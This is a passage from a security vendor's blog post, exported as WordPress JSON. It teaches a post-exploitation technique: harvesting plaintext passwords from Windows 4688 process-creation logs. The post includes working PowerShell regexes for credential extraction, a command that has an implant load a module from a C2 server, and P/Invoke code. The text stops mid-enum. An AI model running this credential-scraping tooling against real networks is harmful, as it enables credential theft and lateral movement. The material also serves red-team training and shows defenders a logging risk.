{"id":2664,"date":"2024-09-14T06:35:01","date_gmt":"2024-09-14T06:35:01","guid":{"rendered":"https:\/\/practicalsecurityanalytics.com\/?p=2664"},"modified":"2024-09-17T03:46:32","modified_gmt":"2024-09-17T03:46:32","slug":"extracting-credentials-from-windows-logs","status":"publish","type":"post","link":"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/","title":{"rendered":"Extracting Credentials From Windows Logs"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 ez-toc-wrap-left counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #000000;color:#000000\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #000000;color:#000000\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Overview\" >Overview<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Tools_Utilized\" >Tools Utilized<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Creating_a_Script_to_Scrape_Credentials_from_Event_Logs\" >Creating a Script to Scrape Credentials from Event Logs<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Step_1_Define_the_Parameter_Block\" >Step 1:  Define the Parameter Block<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Step_2_Load_Dependencies\" >Step 2:  Load Dependencies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Step_3_Define_Regular_Expressions_for_Extracting_Credentials\" >Step 3:  Define Regular Expressions for Extracting Credentials<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Step_4_Query_Events\" >Step 4:  Query Events<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Step_5_Parse_Events_for_Credentials\" >Step 5:  Parse Events for Credentials<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Full_Script\" >Full Script<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Expected_Output\" >Expected Output<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Running_the_SpecterScript\" >Running the SpecterScript<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/practicalsecurityanalytics.com\/extracting-credentials-from-windows-logs\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Overview\"><\/span>Overview<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"\">During a recent engagement, I observed a lot of members of a particular organization authenticating with remote systems and services over the commandline with username and password in plaintext. This ranged from domain administrators using the net user command to create user accounts and updated passwords to database administrators managing their instances with commandline tools.<\/p>\n\n\n\n<p class=\"\">The security operations team had configured the active directory connected systems to record 4688 logs and ship those off to a centralized server. This resulted in a consolidated repository of all applications executed in the environment along with the commandline arguments. This is great for threat detection; however, it can also be leveraged by adversaries to find plaintext credentials.<\/p>\n\n\n\n<p class=\"\"><strong>Examples<\/strong><\/p>\n\n\n\n<p class=\"\">Here are a few examples of credentials being passed to applications in plaintext. Some applications take in positional arguments such as net.exe. Programs that take in positional arguments will require prior knowledge of their use and formatting since we&#8217;ll have to essentially parse out the right token.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">net user john.doe \"MySecurePassword\" \/domain<\/code><\/pre>\n\n\n\n<p class=\"\">Other applications such as wmic.exe use named parameters (e.g. \/password) to provide credentials. These are more generalizable, so we can build a regular expression to extract passwords provided through named parameters so long as the application adheres to a common naming scheme (e.g. -p, \/p, \/password, &#8211;password).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">wmic \/node:server.foo.com \/user:administrator@foo.com \/password:\"1qaz!QAZ\" computer get<\/code><\/pre>\n\n\n\n<p class=\"\"><strong>So, what does scraping event logs for credentials buy us?<\/strong><\/p>\n\n\n\n<p class=\"\">You already have to have admin access to the network to read events from the Security Event Log, but it can get you a few things:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"\">It <em>could<\/em> yield domain admin credentials for privilege escalation, but you&#8217;d have to be pretty lucky to land on a domain admin box<\/li>\n\n\n\n<li class=\"\">It gives you plaintext credentials to add to your password list for cracking<\/li>\n\n\n\n<li class=\"\">Most importantly, it can capture credentials for other services such as databases or non-active directory connected systems<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tools_Utilized\"><\/span>Tools Utilized<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"\">PowerShell<\/li>\n\n\n\n<li class=\"\">Wevtapi<\/li>\n\n\n\n<li class=\"\">Regular Expressions<\/li>\n\n\n\n<li class=\"\"><a href=\"https:\/\/practicalsecurityanalytics.com\/specterinsight\/\" data-type=\"page\" data-id=\"784\" target=\"_blank\" rel=\"noreferrer noopener\">SpecterInsight v3.1.0<\/a><\/li>\n\n\n\n<li class=\"\"><a href=\"https:\/\/practicalsecurityanalytics.com\/specterinsight\/specterscripts\/get-credentials-from-event-log\/\" data-type=\"page\" data-id=\"2716\" target=\"_blank\" rel=\"noreferrer noopener\">Get Credentials From Event Log SpecterScript<\/a><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Creating_a_Script_to_Scrape_Credentials_from_Event_Logs\"><\/span>Creating a Script to Scrape Credentials from Event Logs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_1_Define_the_Parameter_Block\"><\/span>Step 1:  Define the Parameter Block<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">The first step of building a script to scrape credentials is to define the parameter block. This will create a nice UI for the operator to use in the SpecterInsight interactive session. We want to be able to provide options for scraping localhost and remote systems and for authenticating with impersonation or explicit credentials. We satisfy these requirements with three parameters across two parameter sets:<\/p>\n\n\n\n<p class=\"\"><strong>Parameter Set 1:  Impersonation<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"\"><strong>ComputerName: <\/strong> The system to scrape events logs for credentials. The default is &#8220;localhost.&#8221;<\/li>\n<\/ul>\n\n\n\n<p class=\"\"><strong>Parameter Set 2:  Username and Password<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"\"><strong>ComputerName:<\/strong> The system to scrape events logs for credentials. The default is &#8220;localhost.&#8221;<\/li>\n\n\n\n<li class=\"\"><strong>Username:<\/strong>  The fully qualified username to authenticate with (e.g. administrator@lab.net).<\/li>\n\n\n\n<li class=\"\"><strong>Password:<\/strong>  The password associated with the specified user.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">param (\n    [Parameter(ParameterSetName = \"Impersonation\", Mandatory = $False, HelpMessage = \"System to search through logs.\")]\n    [Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"System to search through logs.\")]\n    [string]$ComputerName = \"localhost\",\n\n    [Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"The username to authenticate with.\")]\n    [string]$Username,\n\n    [Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"The password to authenticate with.\")]\n    [string]$Password\n)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_2_Load_Dependencies\"><\/span>Step 2:  Load Dependencies<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<div class=\"wp-block-advgb-columns advgb-columns-wrapper\" id=\"advgb-cols-382bb6e3-0238-4032-bdf9-8da32eb220ba\"><div class=\"advgb-columns-container\"><div class=\"advgb-columns advgb-columns-row advgb-is-mobile advgb-columns-2 layout-12-12 mbl-layout-stacked vgutter-10\">\n<div class=\"wp-block-advgb-column advgb-column advgb-is-half-tablet advgb-is-full-mobile\" id=\"advgb-col-88e48958-cfe3-4a2d-b39d-32b7147b94f9\"><div class=\"advgb-column-inner\" style=\"border-style:none;border-width:1px\">\n<p class=\"\">We are going to leverage a few high-performance cmdlets from the SpecterInsight EventLog post-exploitation module. Specifically, the Get-Events cmdlet runs about 100 times faster than the Get-WinEvent cmdlet that is bundled with PowerShell.<\/p>\n\n\n\n<p class=\"\">The &#8220;load&#8221; command instructs the implant to download and import the EventLog.dll module from the C2 server.<\/p>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-advgb-column advgb-column advgb-is-half-tablet advgb-is-full-mobile\" id=\"advgb-col-5c083718-3fbf-4f56-8048-c818e4c2687f\"><div class=\"advgb-column-inner\" style=\"border-style:none;border-width:1px\">\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">#Load dependencies\nload EventLog;<\/code><\/pre>\n<\/div><\/div>\n<\/div><\/div><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_3_Define_Regular_Expressions_for_Extracting_Credentials\"><\/span>Step 3:  Define Regular Expressions for Extracting Credentials<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">The first thing we are going to need is a regex for detecting passwords from commandline arguments. This expression is going to get a little messy, so I&#8217;m going to try and break it down into chunks. First, let&#8217;s take a look at what we&#8217;re trying to match against. That is, what are some examples of passwords as commandline args?<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>Commandline<\/th><th>Password Argument Substring<\/th><\/tr><\/thead><tbody><tr><td>schtasks.exe \/QUERY \/S server.lab.net \/U administrator@lab.net \/P &#8220;1qaz!QAZ&#8221; \/TN &#8220;MyTask&#8221;<\/td><td>\/P &#8220;1qaz!QAZ&#8221;<\/td><\/tr><tr><td>wmic \/node:&#8221;remote_computer&#8221; \/user:&#8221;username&#8221; \/password:&#8221;password&#8221; computersystem get \/format:list<\/td><td>\/password:&#8221;password&#8221;<\/td><\/tr><tr><td>psexec \\remote_computer -u username -p password command<\/td><td>-p password<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"\">Based on our examples above, it appears that we can make a general purpose regular expression that can identify passwords regardless of the specific executable used. Many of the examples above fall into the following pattern: (argument name)(delimiter)(password)<\/p>\n\n\n\n<p class=\"\">So what we need to do is create three separate expressions and combine them all together: (1) argument, (2) delimiter, and (3) password. Let&#8217;s take a look at the argument name first. We need some way to uniquely identify the start of a password passed via the commandline. We&#8217;ll do that by matching on common password argument names.<\/p>\n\n\n\n<figure class=\"is-style-stripes wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>Regex<\/th><th>Matches<\/th><th>Description<\/th><\/tr><\/thead><tbody><tr><td>(?:-p)<\/td><td>-p<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:-password)<\/td><td>-password<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:-passwd)<\/td><td>-passwd<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:&#8211;password)<\/td><td>&#8211;password<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:&#8211;passwd)<\/td><td>&#8211;passwd<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:\/P)<\/td><td>\/P<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:\/PASSWD)<\/td><td>\/PASSWD<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:\/PASSWORD)<\/td><td>\/PASSWORD<\/td><td>Exact match for a possible password arg.<\/td><\/tr><tr><td>(?:(?:-p)|(?:-password)|(?:-passwd)|(?:&#8211;password)|(?:&#8211;passwd)|(?:\/P)|(?:\/PASSWD)|(?:\/PASSWORD))<\/td><td>Any of the argument names shown above.<\/td><td>Creates a non-capturing group that matches on possible password argument names. We use non-capturing groups because we just need them to match, but we don&#8217;t need the value of the match later. We only really care about the password itself, not the argument name.<br><br>The entire thing is wrapped in a non-capturing group with the &#8216;|&#8217; character in between each sub-expression representing the &#8220;or&#8221; statement.<br><br>Essentially, match on the presence of any one of these sub-expressions.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"\">Next, let&#8217;s take a look at the delimiter. Some programs use whitespace while others use a semicolon. We&#8217;ll need to handle both with an OR statement.<\/p>\n\n\n\n<figure class=\"is-style-stripes wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>Regex<\/th><th>Matches<\/th><th>Description<\/th><\/tr><\/thead><tbody><tr><td>\\s+<\/td><td><\/td><td>Match on at least one or more whitespace characters.<\/td><\/tr><tr><td>\\:<\/td><td>:<\/td><td>Some schemes require a semicolon followed by the argument value.<\/td><\/tr><tr><td>(?:\\s+|\\:)<\/td><td>Either of the delimiters shown above.<\/td><td>Creates a non-capturing group to match on the two possible delimiters.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"\">Lastly, let&#8217;s take a look at the password segment. We want to be able to match on a continuous series of non-whitespace characters with at least one character or a set of characters in between quotes for folks who might put a space in their password.<\/p>\n\n\n\n<figure class=\"is-style-stripes wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>Regex<\/th><th>Matches<\/th><th>Description<\/th><\/tr><\/thead><tbody><tr><td>(?:\\.|[^&#8221;\\])*)&#8221;)<\/td><td>&#8220;Look at my password. It has sPaCeS in it!&#8221;<\/td><td>(?: \u2026): This is a non-capturing group. It groups the expressions inside but doesn&#8217;t capture them for backreferences, meaning it doesn&#8217;t store the matched part for later use.<br><br>\\.: This matches a literal character after a backslash. The \\ is an escape sequence to match a literal backslash (), and the . matches any single character. So together, \\. matches any escaped character (like \\&#8221; for escaped quotes or \\ for an escaped backslash).<br><br>|: This is an OR operator. It allows for a choice between the two patterns on either side.<br><br>[^&#8221;\\]: This part is a character class. The ^ at the beginning of the brackets negates the character set, so it matches any character except a double quote (&#8220;) or a backslash (). Essentially, it matches any non-escaped characters that aren&#8217;t quotes or backslashes.<br><br>*: The asterisk is a quantifier that means &#8220;zero or more occurrences&#8221; of the preceding pattern. In this case, it&#8217;s applied to the non-capturing group (?:\\.|[^&#8221;\\]), meaning it will match any combination of escaped characters or non-quote\/non-backslash characters, occurring zero or more times.<br><br>&#8220;: This matches a literal double quote, indicating that the pattern ends when a double quote is encountered.<\/td><\/tr><tr><td>\\S+<\/td><td>summer2024password<\/td><td>\\S+: matches on a continuous string of non-whitespace characters with at least one character.<\/td><\/tr><tr><td>(?&lt;password&gt;(?:&#8221;((?:\\.|[^&#8221;\\])*)&#8221;)|(?:[^\\s&#8221;]+))<\/td><td>Either of the two passwords shown above.<\/td><td>Creates a named capture group called &#8220;password&#8221; that will match on either of the two standard ways of typing a password in commandline arguments.<br><br>We can later access the value matched by this capture group using the string &#8220;password&#8221; as the index into the capture groups.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"\">Here is our final regular expression. This would have been really hard to write flat-out, but it helped to break the problem down into smaller components. When we create the regex object, we specify the IgnoreCase and Compiled flags. The IgnoreCase will match on any casing of the string &#8220;password&#8221; for example, which is what we want. The Compiled flag will make the matching happen faster, which we want in case we&#8217;re matching against a lot of events.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">#Do some shenanigans to bxor the two options together in a way that is PowerShell 2.0 compliant\n$options = [System.Text.RegularExpressions.RegexOptions](([System.Int32][System.Text.RegularExpressions.RegexOptions]::Compiled) + ([System.Int32][System.Text.RegularExpressions.RegexOptions]::IgnoreCase));\n\n#Define a regular expression to parse the password\n$regex_password_str = '(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:\/P)|(?:\/PASSWD)|(?:\/PASSWORD))(?:\\s+|\\:)(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)))';\n$regex_password = New-Object System.Text.RegularExpressions.Regex($regex_password_str, $options);<\/code><\/pre>\n\n\n\n<p class=\"\">Now we will define an expression for extracting the username provided for authentication. This expression is going to follow the same patter as the password expression with three parts:  (argname)(delimiter)(username). The structure of the expression will also be the exact same except for the argname component of the expression. Here is the final result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">#Define a regular expression to parse the username\n$regex_username_str = '(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:\/u)|(?:\/USER)|(?:\/USERNAME))(?:\\s+|\\:)(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)))';\n$regex_username = New-Object System.Text.RegularExpressions.Regex($regex_username_str, $options);<\/code><\/pre>\n\n\n\n<p class=\"\">Whew, that was a lot, but now we have a fairly generic, agnostic to the particular command, method for finding and extracting credentials from commands run with named parameters for username and password&#8230; but as we saw in our ealier examples, there are some commands that have unnamed credential parameters. We&#8217;ll need to build an expression for each one of them to identify the position parameter. While I am sure that there are more, I have only added a few expressions covering the net, wmic, schtasks, and psexec commands. Here is the result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">$expressions = New-Object 'System.Collections.Generic.List[regex]';\n\n#\"C:\\Windows\\system32\\net.exe\" user Administrator 1qaz!QAZ \/domain \n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('net.+user\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#\"C:\\Windows\\system32\\net.exe\" use \\\\server\\share \/user:domain\\username password\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('net.+use\\s+(?&lt;share&gt;\\\\\\\\\\S+)\\s+\/USER:(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#schtasks.exe \/CREATE \/S 192.168.1.103 \/RU SYSTEM \/U administrator@lab.net \/P \"1qaz!QAZ\" \/SC ONCE \/ST 23:59 \/TN Test \/TR hostname \/F\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('schtasks.+\/U\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+\/P\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#wmic.exe \/node:192.168.1.2 \/user:administrator@lab.net \/password:1qaz!QAZ computersystem get\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('wmic.+\/user:\\s*(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+\/password:\\s*(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#psexec \\\\remote_computer -u administrator@lab.net -p 1qaz!QAZ hostname\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('psexec.+-u\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+-p\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_4_Query_Events\"><\/span>Step 4:  Query Events<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">The next step is to extract events from the Windows Event Log that contain commandline arguments. The event we will be targetng is event ID 4688 &#8211; New Process Creation. The only time this event is logged with commandline arguments is when the &#8216;ProcessCreationIncludeCmdLine_Enabled&#8221; value located under the &#8220;HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit&#8221; key is set to 1. We should verify that the system is configured to capture commandline arguments before proceeding with the rest of the tactic.<\/p>\n\n\n\n<p class=\"\">The following PowerShell command will check to see if process creation logging will include commandline arguments.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit' -Name \"ProcessCreationIncludeCmdLine_Enabled\" | Select 'ProcessCreationIncludeCmdLine_Enabled'<\/code><\/pre>\n\n\n\n<p class=\"\">Here is the output for a system where commandline arguments logging is enabled. If this field does not exist or is set to 0, then this particular technique will not work. There may be other logs we can look at, but 4688 logs will not contain commandline args for us to parse.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">ProcessCreationIncludeCmdLine_Enabled\n-------------------------------------\n                                    1<\/code><\/pre>\n\n\n\n<p class=\"\">When I originally started building this script, I leveraged the Get-WinEvent cmdlet; however, I found that the performance of that cmdlet was absolutely terrible&#8230; something like 70 events per second was the max speed I could query events. The Get-WinEvent cmdlet took approximately 3 minutes just to extract the 15K 4688 events in my development environment. This really irritated me, so I wrote an entirely new module for SpecterInsight to provide a high performance version of Get-WinEvent that I named Get-Events. The SpecterInsight cmdlet runs approximately 100 times faster than Get-WinEvent and, in my totallly unbiased opinion, the output structure is easier to read.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"620\" height=\"465\" src=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/cmdlet-blackjack-and-hookers.jpg?resize=620%2C465&#038;quality=100&#038;ssl=1\" alt=\"\" class=\"wp-image-2760\"\/><\/figure>\n\n\n\n<p class=\"\">This tactic will still work with Get-WinEvent. The query is functionally equivalent, though the output structure of Get-WinEvent is a bit&#8230; different (i.e. absolute trash). The 4688 logs are found in the &#8220;Security&#8221; event log. We then filter for events where the EventID is 4688 and the CommandLine field is not empty. That query eliminates about 50% of the events that we need to look at on my development machine. Approximately 7K results are returned in 2 &#8211; 5 seconds locally, but takes a bit longer when run remotely.<\/p>\n\n\n\n<p class=\"\">Let&#8217;s take a quick detour to see how we can improve performance of event log queries by directly calling Windows APIs from .NET.<\/p>\n\n\n\n<p class=\"\">The first thing we need to do is use Platform Invoke (P\/Invoke) to expose a set of Windows APIs provided by wevtapi.dll. Here are the set of methods that we need to import:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>DLL<\/th><th>Method Name<\/th><th>Description<\/th><\/tr><\/thead><tbody><tr><td>wevtapi.dll<\/td><td>EvtOpenSession<\/td><td>This method is used to connect to the Event Log service running on remote systems.<\/td><\/tr><tr><td>wevtapi.dll<\/td><td>EvtQuery<\/td><td>This method is used to query events with parameters to specify the log name and query specific fields such as Event ID.<\/td><\/tr><tr><td>wevtapi.dll<\/td><td>EvtNext<\/td><td>This method is used to pull the next event from a query object created by EvtQuery.<\/td><\/tr><tr><td>wevtapi.dll<\/td><td>EvtRender<\/td><td>This method takes in an event handle from EvtNext and converts the event to the specified output format. For our purposes, we will render events to XML for processing in C#.<\/td><\/tr><tr><td>wevtapi.dll<\/td><td>EvtClose<\/td><td>This method releases resources allocated by other wevtapi methods.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"\">I&#8217;m not going to go over converting each one of these, but let&#8217;s look at the EvtQuery method as an example. We&#8217;re going to convert it to a P\/Invoke definition. The first step is to look up the method documentation at learn.microsoft.com. The EvtQuery method can be found <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winevt\/nf-winevt-evtquery\">here<\/a>. The function definition looks like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"cpp\" class=\"language-cpp\">EVT_HANDLE EvtQuery(\n  [in] EVT_HANDLE Session,\n  [in] LPCWSTR    Path,\n  [in] LPCWSTR    Query,\n  [in] DWORD      Flags\n);<\/code><\/pre>\n\n\n\n<p class=\"\">To be honest, I&#8217;m starting to get lazy and tired of manually crafting P\/Invoke signatures, pinvoke.net is dead\/janky (long live pinvoke.net), and the new source generators aren&#8217;t really designed for backwards compatibility with .NET 2.0&#8230; so I leverage ChatGPT for this (deceivingly) simple conversion. Here is the query I used:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">Convert this function definition to a p\/Invoke signature in C#. Generate enums for flags. Don't give me an explanation of the code, just return the code itself:\n\nEVT_HANDLE EvtQuery(\n  [in] EVT_HANDLE Session,\n  [in] LPCWSTR    Path,\n  [in] LPCWSTR    Query,\n  [in] DWORD      Flags\n);<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"676\" height=\"500\" src=\"https:\/\/i0.wp.com\/practicalsecurityanalytics.com\/wp-content\/uploads\/2024\/09\/credentials-event-logs-spice-weasel-captioned.jpg?resize=676%2C500&#038;quality=100&#038;ssl=1\" alt=\"\" class=\"wp-image-2772\"\/><\/figure>\n\n\n\n<p class=\"\">That query generated the C# code shown below. ChatGPT actually got it right this time, but it might not on others. It&#8217;s important to note that either: (1) CharSet needs to be explicitly stated and cannot be &#8216;Auto&#8217; or (2) each LPCWSTR needs to have the MarshalAs attribute explicitely stating that the type is a long pointer to a wide character string (LPWSTR). The &#8216;Auto&#8217; CharSet will work in most cases, but if you do weird stuff like we do where you write modules to run on all .NET versions from .NET 2.0 to present day, you have to be explicit with your P\/Invoke definitions. Older versions tend to screw you unexpectedly if you don&#8217;t. Just trust me and save yourself about 4 hours of debugging&#8230;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">using System;\nusing System.Runtime.InteropServices;\n\nclass NativeMethods {\n\t[DllImport(\"wevtapi.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n\tpublic static extern IntPtr EvtQuery(\n\t\tIntPtr session,\n\t\t[MarshalAs(UnmanagedType.LPWStr)] string path,\n\t\t[MarshalAs(UnmanagedType.LPWStr)] string query,\n\t\tEvtQueryFlags flags\n\t);\n}\n\n[Flags]\npublic enum EvtQueryFlags : uint {\n\tEvtQueryChannelPath = 0x1,\n\tEvtQueryFilePath = 0x2,\n\tEvtQueryForwardDirection = 0x100,\n\tEvtQueryReverseDirection = 0x200,\n\tEvtQueryTolerateQueryErrors = 